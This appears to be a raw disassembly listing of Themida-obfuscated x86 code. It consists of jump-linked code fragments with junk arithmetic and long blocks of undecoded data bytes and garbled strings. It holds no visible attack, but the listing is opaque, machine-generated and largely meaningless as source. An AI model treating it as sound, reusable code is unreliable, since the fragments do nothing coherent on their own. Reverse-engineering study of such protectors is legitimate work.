dd 0C4810000h, 4, 83241C8Bh, 0F79304C4h, 5B5053D0h, 0E9535758h
dd 23D4h, 4925F281h, 0D389967Ch, 51FB015Ah, 0A4BD5552h
dd 0E942A140h, 8252h
; ---------------------------------------------------------------------------
loc_5452EC: ; CODE XREF: Themida_:00549B79j
add ah, 9Eh
jmp loc_54A49B
; ---------------------------------------------------------------------------
dd 612DF801h, 8B114F3Eh, 0C483243Ch, 0E8E95004h, 87000030h
dd 295C242Ch, 241C8BD8h, 0FFFC4FE9h, 0E0C280FFh, 0B7E9CA00h
dd 89FFFFEDh, 4C581E5h, 83000000h, 2C3304C5h, 242C3124h
dd 8B242C33h, 15E92424h, 66000052h, 83240C8Bh, 148904ECh
dd 69F2E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54534A: ; CODE XREF: Themida_:0054C8BEj
add esp, 4
loc_545350: ; DATA XREF: ___:off_43D394o
mov [edi+20h], ebx
jmp loc_546731
; ---------------------------------------------------------------------------
loc_545358: ; CODE XREF: Themida_:00547620j
mov [esp], ebx
push esi
push 53332B6Ah
mov esi, [esp]
add esp, 4
mov ebx, 9AC55BD3h
sub ebx, esi
jmp loc_5483A5
; ---------------------------------------------------------------------------
dw 0B850h
dd 4, 909FE9h, 9AC68100h, 2968000Fh, 875A5EF1h, 248B240Ch
dd 4A30F24h, 85E99C24h, 0BAFFFFE6h, 4, 9CE9D701h, 81000012h
dd 4C7h, 5CC76800h, 0C890000h, 4D8FB924h, 0E9492B3Fh, 439Ah
dd 40558h, 42D0000h, 87000000h, 0CFE92404h, 0F7000043h
dd 81D5F7DDh, 511442F5h, 52ED810Fh, 1D611F8h, 0FCE95DEFh
dd 8B00001Eh, 0C483240Ch, 3E1C104h, 81E78957h, 4C7h, 0F161E900h
dd 14F7FFFFh, 0FD08E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54540A: ; CODE XREF: Themida_:0054695Dj
push ebp
push 631Bh
mov [esp], esp
jmp loc_54B234
; ---------------------------------------------------------------------------
loc_545418: ; CODE XREF: Themida_:005495B7j
add esp, 4
push edx
jmp loc_543E20
; ---------------------------------------------------------------------------
db 81h, 0F3h, 53h
dd 811A2005h, 12FB89EBh, 5BDD09D1h, 0CD81D5F7h, 377C5A48h
dd 31DAF581h, 0EA01D656h, 3239E95Dh, 0C42C0000h, 0F800712Ch
dd 52517104h, 0D1887BB2h, 7FA1E95Ah, 0B5510000h, 59E82835h
dd 2ADE9h, 0D0C0BD00h, 0DD01C63Bh, 8BE9895Bh, 0C481242Ch
dd 4, 4EC1E981h, 0E1C15DD6h, 36AEE905h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545486: ; CODE XREF: Themida_:00547A30j
mov eax, 0D1B7D44Ch
sub ecx, eax
pop eax
add ebx, ecx
pop ecx
jmp loc_54D960
; ---------------------------------------------------------------------------
dw 815Eh
dd 6F04E4C7h, 6716E96Dh, 81580000h, 4C4h, 243C3300h, 33243C31h
dd 3E9243Ch
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5454B7: ; CODE XREF: Themida_:00548E95j
mov [esp], ebx
push ecx
sub esp, 4
mov [esp], esi
mov esi, 3DBB4628h
mov ecx, esi
pop esi
push 1C25h
mov [esp], ebp
push 387A78F2h
mov ebp, [esp]
add esp, 4
or ebp, 505772FCh
shr ebp, 1
push esi
push ebp
mov ebp, 41F03B7Dh
sub ebp, 419C532Bh
not ebp
jmp loc_547830
; ---------------------------------------------------------------------------
dw 4BDh
dd 1000000h, 5D04246Ch, 4BD5559h, 1000000h, 0BB535DE9h
dd 4, 84E3E9h, 57565A00h, 321BE9h, 87A6800h, 815F0A06h
dd 60878F7h, 5FFE890Ah, 30A8E9h
db 0
; ---------------------------------------------------------------------------
loc_545539: ; CODE XREF: Themida_:0054799Bj
shr ebx, 7
push esi
mov esi, 61AC71F7h
not esi
or esi, 2D507F7h
shr esi, 1
push ecx
mov ecx, 4C9B64D4h
or esi, ecx
pop ecx
sub esi, 6819048Eh
xor esi, 0E792135Ch
add ebx, 10FB5C2Ch
sub ebx, esi
push ecx
mov ecx, 10FB5C2Ch
sub ebx, ecx
pop ecx
jmp loc_54DA0B
; ---------------------------------------------------------------------------
db 33h
dd 248B240Ch, 302CE924h, 0E2C00000h, 0BACA8003h, 88BCF280h
dd 0C1005AD1h, 8324048Bh, 0E98004C4h, 59C830E9h, 23B45066h
dd 82C380h, 82B151E3h, 6659CB28h, 4CEB8058h, 54F4E9h, 0FBE5600h
dd 81313562h, 0F3C18EEh, 58BBE914h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5455C6: ; CODE XREF: Themida_:005449E3j
mov edi, esp
push esi
mov esi, 5D925FCBh
xor esi, 36157F28h
neg esi
xor esi, 9478DF19h
add edi, esi
pop esi
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edi
push 1E051C71h
pop edi
jmp loc_54B4DD
; ---------------------------------------------------------------------------
aSsnx db 'Séx',0
align 4
loc_5455FC: ; CODE XREF: Themida_:00546910j
and eax, edx
jmp loc_54BBE7
; ---------------------------------------------------------------------------
db 0BEh
dd 2, 348BF501h, 4C48124h, 33000000h, 2C31242Ch, 242C3324h
dd 6624248Bh, 2404A30Fh, 0E3F6E99Ch, 0CEBAFFFFh, 816B7558h
dd 0B82CAAE2h, 2E2C115h, 8E3DE9h, 685800h, 0FF000000h
dd 1C8B2434h, 4C48124h, 50000000h, 8904EC83h, 4832424h
dd 48B0424h, 4C48324h, 697B951h, 0C981168Eh, 51021426h
dd 0E94DC181h, 0C801A871h, 9C65E9h, 4836600h, 8F660224h
dd 9FE92404h, 0FF000016h, 48B2434h, 4EC8324h, 9C7CE9h
dd 0EB815900h, 4, 31241C33h, 1C33241Ch, 24248B24h, 89240C89h
dd 4C181E1h, 56000000h, 8A4A3FBEh, 4EE4E94Dh, 315F0000h
dd 0EA895FFDh, 599DE95Dh, 0C3040000h, 8324148Bh, 3E904C4h
dd 900008Eh, 6FCCE9D5h, 815E0000h, 7C21242Ch, 4292C5Eh
dd 24048124h, 2C5E7C21h, 11242C81h, 560F6D4Fh, 313EEABEh
dd 2474295Fh, 0A2C9E904h, 26B20000h, 0D0283EB0h, 3CCBE95Ah
dd 0B6520000h, 50DEF6CEh, 0C8FEF088h, 7F8EE9h, 63BA5200h
dd 0E92CB01Bh, 0FFFFFFABh, 5E2434FFh, 4C481h, 0D2E90000h
dd 6600001Dh, 5724048Bh, 3611E9h, 815F5D00h, 941F56EFh
dd 81F7010Ah, 941F56C7h, 24348B0Ah, 4C481h, 6DE90000h
dd 81000057h, 21522AC2h, 28EA8179h, 8161BC70h, 491313EEh
dd 0E9D6010Eh, 8A6Fh, 2C78358h, 85C3E9h, 0E296E900h, 1405FFFFh
dd 0E9EA3DAEh, 0FFFFEE94h, 36A7E981h, 0E9C1219Eh, 0EB31E904h
dd 77FFFFFFh, 58669D1Ch, 24041166h, 0E26EE99Ch, 0C8BFFFFh
dd 4C48324h, 0E958C788h, 74EDh, 0FDEFE953h, 1C87FFFFh
dd 24248B24h, 9C2404D3h, 0FFE24BE9h, 34FF54FFh, 9D51E924h
dd 87250000h, 50A6302h, 0A4D2D60Dh, 0E958C201h, 1368h
dd 0FFE22BE9h, 2434FFFFh, 4EC815Fh, 0E9000000h, 2EDFh
dd 895DEF89h, 2434FFF9h, 4C4835Fh, 4CB6E949h, 0EE200000h
dd 0E6805966h, 0E77AE988h, 7005FFFFh, 2D372C72h, 2B2903E2h
dd 1170E9h, 0AAB05000h, 70D2E9h, 241CF600h, 9BFBE99Ch
dd 0CD30000h, 0D5E99C24h, 81FFFFE1h, 0EF1F20F3h, 2DE3BE10h
dd 0EE8173E6h, 31343213h, 9D0EE9h
db 0
; ---------------------------------------------------------------------------
loc_545861: ; CODE XREF: Themida_:00548123j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xor cl, 4
jmp loc_54D96B
; ---------------------------------------------------------------------------
dd 9C242CD3h, 0FFE19FE9h, 5FE953FFh, 88000061h, 5AD188E2h
dd 59CE0858h, 3075F680h, 0BBE95AF0h, 81FFFFE8h, 0FA0D8ACBh
dd 52F6E94Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5458A6: ; CODE XREF: Themida_:0054E177j
not edx
shl edx, 8
push esi
mov esi, 3ABE5D40h
dec esi
not esi
push ecx
mov ecx, 387F6325h
sub esi, ecx
jmp loc_54EEDB
; ---------------------------------------------------------------------------
loc_5458C1: ; CODE XREF: Themida_:00543E1Bj
mov ebp, 3A7F6634h
neg ebp
inc ebp
sub ebp, 883C9735h
add ebx, ebp
pop ebp
pop ecx
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
db 0BDh, 0C3h, 63h
dd 0EE016AE8h, 9081E9h, 81C52900h, 27778C5h, 0C7815845h
dd 90A2B0Ch, 7AC3E9h, 242C8900h, 0C581E589h, 4, 0E904C583h
dd 0FFFFF9E7h
; ---------------------------------------------------------------------------
loc_545920: ; CODE XREF: Themida_:0054642Dj
xor ebx, 699F7FECh
add ebp, ebx
pop ebx
jmp loc_54D209
; ---------------------------------------------------------------------------
dw 0F766h
dd 0E99C241Ch, 0FFFFE0E8h
; ---------------------------------------------------------------------------
loc_545938: ; CODE XREF: Themida_:00545190j
add esi, 0C9C09A0Bh
add ecx, esi
pop esi
or ecx, 700F7AD5h
jmp loc_54F927
; ---------------------------------------------------------------------------
dd 4C281h, 0EA810000h, 4, 2474FF52h, 2434FF04h, 4C4835Ah
dd 8B24048Fh, 36E92424h, 89000026h, 6AE9241Ch, 0FF000054h
dd 0A1E94077h, 5BFFFFE0h, 8CE9C6FEh, 50000040h, 4B8h, 58C10100h
dd 6C6ABA52h, 0EA813E35h, 574F74B9h, 42DB850h, 404844A9h
dd 66650C0Dh, 692A057Ah, 88E918D4h, 5000004Fh, 4A3FD3B8h
dd 7F53E921h, 68660000h, 896671B9h, 50662414h, 0E052E99Ch
dd 0FA68FFFFh, 5D3D507Fh, 4246C01h, 40478F5Dh, 26BD5550h
dd 6825793Dh, 3C5Fh, 0E9242C89h, 3E7Eh, 0FFE02BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5459F5: ; CODE XREF: Themida_:00549532j
pop ebx
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp]
jmp loc_54AE8C
; ---------------------------------------------------------------------------
aYaiAi3 db '(ÈY€ëÕ€ë3',0
dw 80C3h
dd 0CAE933C3h, 53000012h, 0C381E389h, 4, 4C381h, 1C870000h
dd 96685C24h, 8900000Ch, 6DE9240Ch, 5B000070h, 0E9505166h
dd 16A2h, 0E955B353h, 9C7Bh, 0FFDFC7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545A59: ; CODE XREF: Themida_:0054C5E5j
sub esp, 4
jmp loc_54C229
; ---------------------------------------------------------------------------
aL4S db '‹4$é"%',0
align 4
dd 24248B66h, 0FFDFABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545A75: ; CODE XREF: Themida_:0054F4E7j
add ecx, 2E62308Eh
shl ecx, 6
sub ecx, 44F77C29h
push edi
mov edi, 7EFB7029h
or edi, 5E4913E4h
not edi
jmp loc_548068
; ---------------------------------------------------------------------------
aTsrs db 'Téà‘',0
db 0
; ---------------------------------------------------------------------------
loc_545A9D: ; CODE XREF: Themida_:0054A929j
mov esi, 3AB7040Fh
jmp loc_543DC6
; ---------------------------------------------------------------------------
db 66h
dd 0D0F76648h, 7E0C166h, 5F580566h, 2D664866h, 31667FCFh
dd 24048BC5h, 5A04C483h, 24448166h, 660E4B02h, 2246C01h
dd 246C8166h, 660E4B02h, 0DF42E95Dh, 6855FFFFh, 454F330Ah
dd 3A4EE9h
db 0
; ---------------------------------------------------------------------------
loc_545AE9: ; CODE XREF: Themida_:00547E72j
or esi, edi
jmp loc_54B55B
; ---------------------------------------------------------------------------
dd 8304C483h, 94E904ECh
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545AFB: ; CODE XREF: Themida_:00548833j
mov [esp], ebp
jmp loc_54D8A1
; ---------------------------------------------------------------------------
loc_545B03: ; CODE XREF: Themida_:0054A27Bj
cmp eax, edx
jz loc_544D07
sub esp, 4
mov [esp], ebx
push 69A333FDh
jmp loc_544648
; ---------------------------------------------------------------------------
loc_545B1B: ; CODE XREF: Themida_:005449C1j
mov eax, [esp]
add esp, 4
jmp loc_54BFEE
; ---------------------------------------------------------------------------
dw 5455h
dd 4C5815Dh, 56000000h, 2B1EE9h
db 0
; ---------------------------------------------------------------------------
loc_545B35: ; CODE XREF: Themida_:0054813Cj
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
jmp loc_544E9F
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5F0424h, 895C2404h, 2BD242Ch, 0E9000000h, 66DDh, 80ACEF80h
dd 0C7FEBEEFh, 80C6EF80h, 0F800E0C7h, 83241C8Bh, 5B0404C4h
dd 2EC81h, 89660000h, 0D2E9241Ch, 5400004Eh, 9E78E9h
db 0
; ---------------------------------------------------------------------------
loc_545B89: ; CODE XREF: Themida_:0054F6A5j
pop eax
sub esp, 4
jmp loc_544C7D
; ---------------------------------------------------------------------------
dw 6857h
dd 39FD5AFFh, 4743E95Fh, 0EF680000h, 0E968080Ch, 9712h
dd 4023E952h, 8B660000h, 68522404h, 10D7h, 0E9242489h
dd 9312h
; ---------------------------------------------------------------------------
loc_545BC0: ; CODE XREF: Themida_:0054C288j
add ebp, esi
jmp loc_54DA35
; ---------------------------------------------------------------------------
db 5Ch
dd 3B04C483h, 0B8E99CC8h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545BD3: ; CODE XREF: Themida_:00545E6Cj
jmp loc_543A20
; ---------------------------------------------------------------------------
dd 2414F753h, 56F4E9h, 0E9E20000h, 2679h, 31DBB951h, 0CB2953B5h
dd 0B8505159h, 70E6017Dh, 0F44B2035h, 58C18932h, 3159CB29h
dd 241C8BD8h, 3104C483h, 0EC8151C3h, 4, 50241C89h, 0D4E97FB0h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545C1F: ; CODE XREF: Themida_:00548966j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
loc_545C34: ; CODE XREF: Themida_:00544EA0j
push 263Eh
mov [esp], ebp
push esi
mov esi, 0A967B45h
jmp loc_5445FF
; ---------------------------------------------------------------------------
aIU1usC db '‰Þ[U½ =-',27h,'1îé%—',0
db 0
; ---------------------------------------------------------------------------
loc_545C57: ; CODE XREF: Themida_:00546116j
push esi
mov esi, 49B8578Ah
jmp loc_54C514
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2BD555Ch
dd 29000000h, 1C875DEBh, 24248B24h, 0FFF378E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545C89: ; CODE XREF: Themida_:00546EFDj
sub esp, 4
mov [esp], ebp
jmp loc_54D1DF
; ---------------------------------------------------------------------------
dd 552CB850h, 0C6291C08h, 57E0E9h, 240C8900h, 88DE8852h
dd 24148BF1h, 4C481h, 0C880000h, 240C8B87h, 4C481h, 34FF0000h
dd 441CE924h, 0E9AC0000h, 4304h, 0ABE95954h, 5D00003Eh
dd 971AE9h
db 0
; ---------------------------------------------------------------------------
loc_545CD9: ; CODE XREF: Themida_:0054BF3Fj
or edi, 38A74808h
not edi
dec edi
or edi, 5AC91DA5h
jmp loc_54D9E2
; ---------------------------------------------------------------------------
aUqss db 'UQé™',27h,0
align 4
loc_545CF4: ; CODE XREF: Themida_:0054D9EAj
pop edi
xor eax, edx
jmp loc_54D8B1
; ---------------------------------------------------------------------------
loc_545CFC: ; CODE XREF: Themida_:00544D6Bj
sub eax, ebp
add eax, 0E9D2EFEh
mov ebp, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_54DE0F
; ---------------------------------------------------------------------------
loc_545D14: ; CODE XREF: Themida_:0054E039j
shl ebp, 1
and ebp, 21FF1393h
jmp loc_54ED01
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 5A2434FFh, 4C481h, 7E680000h, 8900006Bh, 0E589242Ch
dd 331C68h, 243C8900h, 26D5E9h
db 0
; ---------------------------------------------------------------------------
loc_545D45: ; CODE XREF: Themida_:00545045j
add edi, 0C4CCBC8Eh
add edx, edi
pop edi
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_548B55
; ---------------------------------------------------------------------------
db 81h
dd 0F556D2C2h, 47F4E913h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545D76: ; CODE XREF: Themida_:0054DF8Cj
pop ecx
sub ah, 0BCh
mov dl, ah
mov eax, [esp]
jmp loc_54E5F8
; ---------------------------------------------------------------------------
dd 0F63F03BFh, 2BC78175h, 0F7581600h, 0D5F781D7h, 131F3C0h
dd 0CF685FF9h, 89000040h, 2BD242Ch, 1000000h, 242C8BE9h
dd 8704C483h, 248B240Ch, 0A16E924h, 685C0000h, 110Eh, 0E9242C89h
dd 9A9Ah
; ---------------------------------------------------------------------------
loc_545DC8: ; CODE XREF: Themida_:0054A7A5j
mov esp, [esp]
sub esp, 4
mov [esp], edx
push ebx
jmp loc_5491A2
; ---------------------------------------------------------------------------
loc_545DD7: ; CODE XREF: Themida_:005451F8j
mov ecx, [esp]
add esp, 4
pop eax
push edx
jmp loc_54D389
; ---------------------------------------------------------------------------
dd 30FF6658h, 0FFDC33E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545DED: ; CODE XREF: Themida_:0054FAC2j
add eax, 4
push 2816h
mov [esp], ebx
mov ebx, 4
jmp loc_5449D8
; ---------------------------------------------------------------------------
loc_545E04: ; CODE XREF: Themida_:0054817Bj
add ebx, ebp
pop ebp
jmp loc_54C8A8
; ---------------------------------------------------------------------------
dd 8124148Bh, 4C4h, 4CEB8100h, 0E924B544h, 1FCEh, 5EAC15Ah
dd 6AF2814Ah, 89607166h, 0D1F75AD1h, 0CA5C181h, 0E98116B9h
dd 366E082Ch, 0A5DCF181h, 0C8017CB7h, 74FF5059h, 48B0424h
dd 5A545224h, 8707E957h, 0C5E90000h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545E5B: ; CODE XREF: Themida_:0054D539j
add eax, 42B951EDh
add eax, ecx
sub eax, 42B951EDh
pop ecx
xchg eax, [esp]
pop esp
jmp loc_545BD3
; ---------------------------------------------------------------------------
db 81h, 0E9h, 4
dd 51000000h, 7925E9h, 0D8295A00h, 55D8015Bh, 324263BDh
dd 5DE80137h, 431368h, 242C8900h, 75B5CBDh, 0E5C14573h
dd 3B0DE908h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545EA2: ; CODE XREF: Themida_:0054AEA8j
pop eax
xchg eax, [esp]
pop ecx
push ebx
mov ebx, 0FE77D7FDh
sub ecx, ebx
pop ebx
push ebp
push ebx
mov ebx, ecx
mov ebp, ebx
pop ebx
mov eax, ebp
pop ebp
mov ecx, [esp]
add esp, 4
shl eax, cl
push eax
jmp loc_54C99D
; ---------------------------------------------------------------------------
db 33h
dd 248B243Ch, 240CD224h, 0DB46E99Ch, 79B2FFFFh, 0E95AD788h
dd 0FFFFEBCCh, 9FC5805Ah, 99C580h, 99ED80FDh, 0E99FED80h
dd 69FBh
; ---------------------------------------------------------------------------
loc_545EF8: ; CODE XREF: Themida_:00543A4Ej
and ecx, ebp
pop ebp
shr ecx, 2
push 34D9h
mov [esp], ebx
push dword ptr [esp]
jmp loc_548698
; ---------------------------------------------------------------------------
aBxS1ba1 db 'å¸=™1í1ÜÔ',0
dw 0EA29h
dd 63EA815Dh, 162C722h, 63C281EAh, 8162C722h, 432877C2h
dd 24CBE910h, 81590000h, 4C4h, 0DADEE900h, 42DFFFFh, 0E9000000h
dd 6FAEh
; ---------------------------------------------------------------------------
loc_545F4C: ; CODE XREF: Themida_:00546813j
add edi, 105EAC20h
jmp loc_549BC0
; ---------------------------------------------------------------------------
db 68h
dd 44C36827h, 5E1C159h, 9DCBE56h, 0ADE96C13h, 81000004h
dd 6C56A0C9h, 8B63E92Ah, 0EA010000h, 4BE565Dh, 0E9000000h
dd 56DFh, 0BE243489h, 4, 774EF81h, 0F7011F33h, 774C781h
dd 85E91F33h, 83FFFFDDh, 0A5E904ECh
db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545FA7: ; CODE XREF: Themida_:0054869Cj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
push esi
jmp loc_54C2F2
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 88000000h, 0E901875Ch, 9AEFh, 0E905E9C1h, 73A1h, 0E902C683h
dd 529Bh, 68665B2Ch, 66E90C32h, 66000098h, 68240C8Bh, 615Ch
dd 89241489h, 1BE56E2h, 57475A0Ah, 5A0A05BFh, 0E9FE3147h
dd 0FFFFDFE7h, 8B243433h, 0BE562424h, 5F313EEAh, 4247401h
dd 5124348Bh, 0BA52E189h, 4, 5A52E981h, 0D1010454h, 5A52C181h
dd 2EE90454h, 8100006Bh, 1E698BC3h, 67E94Fh, 0A3680000h
dd 8900001Ch, 0E0892404h, 2CAAE9h, 2434FF00h, 5724148Bh
dd 0C781E789h, 4, 8704C783h, 685C243Ch, 14E1h, 7B8AE9h
dd 2434FF00h, 592434FFh, 4C481h, 97E90000h, 2D000028h
dd 15E14719h, 1905F001h, 5615E147h, 0A56CB3BEh, 5EF00150h
dd 5124348Bh, 0C181E189h, 4, 0FFE86CE9h, 81D301FFh, 1E698BEBh
dd 26E95A4Fh
db 2Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5460C3: ; CODE XREF: Themida_:00548EDBj
push ebx
mov ebx, 3E942DD3h
or esi, ebx
pop ebx
dec esi
jmp loc_54BD7A
; ---------------------------------------------------------------------------
dw 0EE81h
dd 0AF199ECCh, 348BF189h, 4C48124h, 0F7000000h, 1C4FE9D9h
dd 19BB0000h, 81155017h, 497F05E3h, 5245E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5460FA: ; CODE XREF: Themida_:0054E8DDj
push ebx
push 2087h
mov [esp], edx
push 0B5302B2h
mov edx, [esp]
add esp, 4
mov ebx, edx
mov edx, [esp]
push ecx
push esp
pop ecx
jmp loc_545C57
; ---------------------------------------------------------------------------
db 89h
dd 0B4502414h, 1FB8E9E6h, 0E9810000h, 4, 5C240C87h, 89243489h
dd 4C681E6h, 81000000h, 4C6h, 24348700h, 5809E9h, 4B086800h
dd 14890000h, 17EFE924h, 81490000h, 0D72078C1h, 59CF31E3h
dd 87CF8147h, 8136B501h, 0E3914FEFh, 5FFE2998h, 2C6835Dh
dd 4A6BE9h, 289FB500h, 665966E8h, 0EC81535Ah, 4, 83240489h
dd 0E1E904ECh
db 63h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546193: ; CODE XREF: Themida_:0054D8ACj
add eax, ebp
sub eax, 5F077B0Bh
mov ebp, [esp]
push 211h
jmp loc_54EEC4
; ---------------------------------------------------------------------------
db 0FFh
dd 56582434h, 0C681E689h, 4, 9499E950h, 248B0000h, 0C896624h
dd 0B60F6624h, 227AE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5461CA: ; CODE XREF: Themida_:0054B0CFj
mov esi, [esp]
add esp, 4
jmp loc_54EE7E
; ---------------------------------------------------------------------------
dd 0FF243C89h, 5F042474h, 5C24048Fh, 9C2404FFh, 75BEE9h
dd 64E98100h, 8B39A664h, 0C481241Ch, 4, 0E904C183h, 15C4h
dd 918BF57h, 0F8891463h, 6B62055Fh, 8C2D6667h, 0E9650822h
dd 0FFFFF56Eh, 5F240489h, 0BDC78158h, 0E90057F7h, 7853h
; ---------------------------------------------------------------------------
loc_54622C: ; CODE XREF: Themida_:0054460Aj
add ecx, 0C595F53h
pop ebp
mov eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push 4139h
mov [esp], edi
jmp loc_54EE38
; ---------------------------------------------------------------------------
loc_546249: ; CODE XREF: Themida_:0054BB51j
shr ah, 3
add ah, 54h
jmp loc_54D6CD
; ---------------------------------------------------------------------------
dd 64F26866h, 0FFD873E9h, 0ACC581FFh, 8B50C955h, 0C481243Ch
dd 4, 0E904C583h, 6F2Dh, 0E95BD989h, 0FFFFF01Fh, 75E7F281h
dd 0DA31014Fh, 0DA31D331h, 0F174E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54628E: ; CODE XREF: Themida_:0054E399j
add ebx, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push ebx
mov ebx, 3EF54972h
mov edx, ebx
pop ebx
xor edx, 3EF54976h
add ebx, edx
pop edx
xchg ebx, [esp]
mov esp, [esp]
div ecx
push ebx
mov ebx, esp
push ecx
push ebp
push ecx
mov ecx, 11EE0970h
add ecx, 6A1620F1h
jmp loc_54F6F3
; ---------------------------------------------------------------------------
db 0F7h
dd 0E99C241Ch, 0FFFFD740h, 4EC81h, 14890000h, 6CD1E924h
dd 0C4830000h, 36E95704h, 1000088h, 698405C8h, 34FF7978h
dd 84B7E924h, 0E9570000h, 3053h, 2CE8005Ah, 0B65259ECh
dd 3E65E97Fh, 4870000h, 30E95C24h, 81000076h, 89174CEEh
dd 0E9F331EDh, 4794h, 0A37D4725h, 2B750559h, 8C0502F1h
dd 81FCEEC8h, 0D66EA7C6h, 81C6014Bh, 0D66EA7EEh, 0C683584Bh
dd 24343302h, 0E9243431h, 85CAh, 15DEF01h, 243C8BFAh, 0E904C483h
dd 0FFFFD6B4h, 4C4835Ah, 31242C33h, 2C33242Ch, 24248B24h
dd 0E92424D3h, 0FFFFD69Ch
; ---------------------------------------------------------------------------
loc_546384: ; CODE XREF: Themida_:0054DE1Aj
sub edi, 6FBE1690h
shl edi, 1
add edi, 0DD8DB9BAh
jmp loc_547683
; ---------------------------------------------------------------------------
db 0BBh
dd 4, 15BDD89h, 5D04246Ch, 0D9E95759h, 5AFFFFF9h, 215FF889h
dd 48B2047h, 8024E924h, 335E0000h, 0C31240Ch, 240C3324h
dd 3024248Bh, 0E99C2404h, 0FFFFD650h, 4BD55h, 9AE90000h
dd 88000066h, 0D8F65BD8h, 8934D8F6h, 0D0F6D0F6h, 88E95F34h
db 67h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5463EF: ; CODE XREF: Themida_:00549D96j
shr ch, 4
jmp loc_54DF83
; ---------------------------------------------------------------------------
db 0BDh
dd 5C767D25h, 0F708EDC1h, 3E5C1D5h, 49A0C581h, 0E5C1309Ah
dd 48F58107h, 0E9D430F6h, 0FFFFD977h, 4DE9F121h, 8F000018h
dd 0D5FAE902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546426: ; CODE XREF: Themida_:0054B184j
or ebx, 499A7BC5h
inc ebx
jmp loc_545920
; ---------------------------------------------------------------------------
dw 148Bh
dd 160AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54643A: ; CODE XREF: Themida_:0054DE4Ej
pop ecx
add ecx, 4
sub ecx, 4
jmp loc_54C36D
; ---------------------------------------------------------------------------
db 5Eh, 50h, 0B8h
dd 2, 4238E9h, 4EC8100h, 89000000h, 268240Ch, 8B000000h
dd 0C483240Ch, 23BD5504h, 0F7355E68h, 81DDF7DDh, 0ED3F1FE5h
dd 7E5C167h, 0FFFFED81h, 0F581FFFFh, 0A7B04EBAh, 15DEA01h
dd 3BEA81CAh, 0E901A44Fh, 0FFFFD619h, 240C8B66h, 88E95452h
dd 66000064h, 5024048Bh, 5AAE9h
db 0
; ---------------------------------------------------------------------------
loc_5464AD: ; CODE XREF: Themida_:0054F069j
xchg ebx, [esp]
mov esp, [esp]
sub edx, ecx
pop ecx
and eax, edx
pop edx
or eax, eax
jmp loc_548E8A
; ---------------------------------------------------------------------------
dd 6624248Bh, 8124148Bh, 4ECh, 24148900h, 0C281E289h, 4
dd 0FFFF78E9h, 0E08950FFh, 2ECFE9h, 58F48000h, 8058E100h
dd 0C1FE92C1h, 0E0E980h, 0C70059C8h, 8BF82858h, 0ACE9241Ch
dd 0FF00008Dh, 0D516E932h, 0BE56FFFFh, 4, 15EF089h, 343358C6h
dd 24343124h, 8B243433h, 48B2424h, 4C48324h, 0B7ED035h
dd 30FF6636h, 0FFD4EBE9h, 0EA815AFFh, 2950F79h, 4051685Eh
dd 34890000h, 514BE24h, 25E95664h
db 2Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54654F: ; CODE XREF: Themida_:00547817j
xor esi, 34EA5B70h
sub ebp, esi
pop esi
push ebp
sub esp, 4
jmp loc_54F2F4
; ---------------------------------------------------------------------------
dd 3159C889h, 0F78158C7h, 2B0F72DBh, 25D9E9h, 0AE95200h
dd 5C000010h, 9C2424D2h, 0FFD49BE9h, 0D7015DFFh, 53E0E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54658E: ; CODE XREF: Themida_:0054D1FCj
add esi, 11800317h
sub esi, 393A45D7h
push 0
push dword ptr [esp]
jmp loc_54C6E0
; ---------------------------------------------------------------------------
db 5Eh
dd 88E9EE89h, 0B9FFFFE6h, 5E1F2745h, 4244C01h, 24048B59h
